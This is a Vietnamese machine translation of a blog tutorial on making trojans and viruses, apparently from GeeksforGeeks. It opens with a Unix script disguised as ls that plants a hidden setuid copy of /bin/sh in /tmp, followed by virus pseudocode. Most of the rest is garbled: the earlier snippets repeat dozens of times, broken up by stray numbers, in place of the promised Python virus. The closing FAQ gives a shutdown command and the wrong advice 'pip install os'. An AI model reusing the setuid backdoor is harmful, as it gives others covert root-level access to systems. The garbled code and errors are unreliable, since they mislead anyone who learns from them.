Cách tạo vi-rút Trojan bằng Python

GHI CHÚ. Sử dụng trình biên dịch trực tuyến sẽ không hoạt động ở đây. Vui lòng cài đặt Python 2. 7x và cv2, các mô-đun argparse để thực sự thử ví dụ này

chào các bạn. Chào mừng trở lại. Trước khi tiếp tục với Logic độc hại, tôi yêu cầu bạn xem qua bài báo tuyệt vời và nhiều thông tin này Worms, Viruses and Beyond

Bây giờ, bài viết này sẽ tập trung nhiều hơn vào các ứng dụng hơn là lý thuyết về virus máy tính, sâu máy tính và ngựa thành Troy

Tuy nhiên, xin lưu ý rằng bài viết này chỉ được sử dụng cho mục đích giáo dục. Tôi không khuyến khích việc sử dụng vi-rút, sâu máy tính hoặc trojan để tấn công hệ thống máy tính và gây ra thiệt hại

Logic độc hại là một tập hợp các hướng dẫn (về cơ bản là một chương trình) gây ra sự vi phạm chính sách bảo mật của trang web/chương trình/ứng dụng, v.v.

Tập lệnh UNIX

    cp /bin/sh /tmp/.xxsh
    chmod u+s,o+x /tmp/.xxsh
    rm ./ls
    ls $*

Trong ví dụ này, chúng tôi giả định rằng “. ” nằm trong môi trường đường dẫn và tập lệnh đã được đặt tên là ls và được đặt trong thư mục

Phân tích kịch bản

Tập lệnh này tạo một bản sao của UNIX Shell được thiết lập bởi người dùng thực thi chương trình này. Để hiểu các chương trình setuid, trước tiên chúng ta cần hiểu cách Nhận dạng người dùng được lưu trữ trong HĐH UNIX

Trong hệ điều hành UNIX, danh tính người dùng thường được biểu diễn dưới dạng số nguyên từ 0 đến 65.535. Số này còn được gọi là UID (Số nhận dạng duy nhất). Bây giờ, những gì các chương trình setuid làm là chúng tạo các quy trình với UID của chủ sở hữu chứ không phải của người thứ ba thực hiện chương trình. Điều này có nghĩa là người thi hành sẽ có các quyền của chủ sở hữu… Bản thân điều này đã là một lỗ hổng có thể xảy ra

Quay trở lại tập lệnh của chúng ta, do đó, một bản sao cài đặt của shell UNIX đã được tạo. Sau đó, chương trình này bị xóa và sau đó lệnh ls chính xác (để liệt kê các tệp và thư mục có trong thư mục làm việc hiện tại) được thực thi

Ngựa thành Troia

Quay lại tập lệnh trước… Giả sử nếu ai đó (root) gõ

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh

Nếu tập lệnh được gõ một cách có chủ ý, thì nó sẽ dẫn đến một Trojan Horse

Virus – Một định dạng cơ bản

Hầu hết các virus máy tính đều tuân theo kịch bản cơ bản sau

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus

Về cơ bản, mọi virus máy tính đều có hai giai đoạn -

  1. Giai đoạn chèn – trong giai đoạn này, vi-rút tự chèn vào mục tiêu
  2. Giai đoạn thực thi- trong giai đoạn này, virus thực hiện một số hành động

Hãy xem xét một loại virus thực sự trong Python. Bây giờ đây không phải là một loại vi-rút thực sự sẽ gây ra các tệp bị hỏng, xóa các tệp hệ thống, v.v. nhưng chỉ là một loại virus vô hại đơn giản




    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
6

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
7
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
8

________ 99 ________ 100 ________ 101

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
02

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
0

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
1
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
2

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3____14
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
6

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3____18____100
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
0

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
2
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
3
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
4
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
5

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
6

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7____28

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7_______960
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
61
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
62
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
63
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
62
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
65

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
66
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
67______962
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
63
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
62
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
71

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
72

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
74

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7_______976
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
77
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
78
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
79
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
80
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
83
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
84

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
72

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
66
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
87

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
66
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
89
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
91

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
66
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
2
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
94
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
4
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
96
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
97
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
62
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
63
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
62
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
001

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
002
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
60 ________ 99
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
4 ________ 1006

________ 1007

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
89 _______ 100 ________ 1010

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
007
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
012

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
66
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
60
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
89
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
91
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
019

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
002
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
021____962
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
63
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
62
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
025

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3____1027
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
028

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
02

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
1
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
02

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3____104
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
06

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3____108____100
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
96
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
11

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3____113
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
15

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
2
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
18
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
4
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
20
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
21

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7__
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
60
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
24
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
26
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
27
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
28
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
29
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
019

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
66
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
13____962
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
35

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3____137

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
2
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
40
Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
4
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
42

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7______144
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
96
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
47

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7____149
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
51

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7____153

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7______144
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
96
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
58
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
59
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
60

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7____162____962
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
64

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
7____153

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus
6

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
68

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
1
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
70

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
3_______960
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
73
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
76
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
27
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
78
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
81
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
019

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
66
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
84
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
85______186
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
87

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
4
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
00
    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
90

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
91

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh
92

Hiện tại, đây là một loại vi-rút khá an toàn. Tuy nhiên, định dạng cơ bản và hoạt động giống nhau

Ngoài ra, có nhiều loại vi-rút máy tính khác nhau – Bộ lây nhiễm khu vực khởi động, bộ lây nhiễm thực thi, vi-rút đa phần, vi-rút TSR, vi-rút Stealth, vi-rút được mã hóa, vi-rút đa hình, vi-rút macro

Bây giờ, tôi sẽ không đi vào chi tiết và sẽ chỉ dừng lại ở đây. Đó là tất cả từ phía tôi

Giới thiệu về tác giả

Vishwesh Shrimali là sinh viên Đại học Kỹ thuật Cơ khí tại BITS Pilani. Anh ấy đáp ứng

Cách tạo vi-rút Trojan bằng Python
tất cả các yêu cầu không được giảng dạy trong ngành của anh ấy – hacker mũ trắng, nhà điều hành an ninh mạng và một cựu Lập trình viên cạnh tranh. Là một người tin tưởng vững chắc vào sức mạnh của Python, phần lớn công việc của anh ấy là bằng cùng một ngôn ngữ. Bất cứ khi nào anh ấy có thời gian ngoài lập trình, tham gia các lớp học, xem CSI Cyber, anh ấy sẽ đi bộ một quãng dài và chơi ghi-ta trong im lặng. Phương châm sống của anh ấy là – “Hãy tận hưởng cuộc sống của bạn, vì nó đáng để tận hưởng. ”

Nếu bạn cũng muốn giới thiệu blog của mình tại đây, vui lòng xem Gblog để viết blog của khách trên GeeksforGeeks

Bạn có thể tạo vi-rút bằng Python không?

Điều đó nói rằng, vẫn có thể viết vi-rút máy tính bằng Python và trong bài viết này, bạn sẽ có một minh họa thực tế. Tôi gặp virus máy tính đầu tiên vào năm 1988.

Virus Trojan được tạo ra như thế nào?

Nhiều người dùng cài đặt trojan từ trang web chia sẻ tệp và tệp đính kèm email giả mạo . Bạn cũng có thể bị tấn công từ tin nhắn trò chuyện giả mạo, trang web bị nhiễm, mạng bị tấn công, v.v.

Trojan Python là gì?

Chương trình chúng tôi đang tạo này cũng chỉ sử dụng các thư viện tiêu chuẩn đi kèm với python. Virus trojan horse là một loại phần mềm độc hại ngụy trang thành một phần mềm hợp pháp , điều này nhằm đánh lừa người dùng để có thể thực hiện các tác vụ mà không bị phát hiện.

Làm thế nào để đánh sập máy tính với Python?

Để tắt máy tính/PC/máy tính xách tay bằng tập lệnh Python, bạn phải sử dụng hệ điều hành. hàm system() với mã “ shutdown /s /t 1 ” . Ghi chú. Để làm việc này, bạn phải nhập thư viện os trong ide. Nếu bạn không có nó, thì ' pip install os ' thông qua Dấu nhắc Lệnh.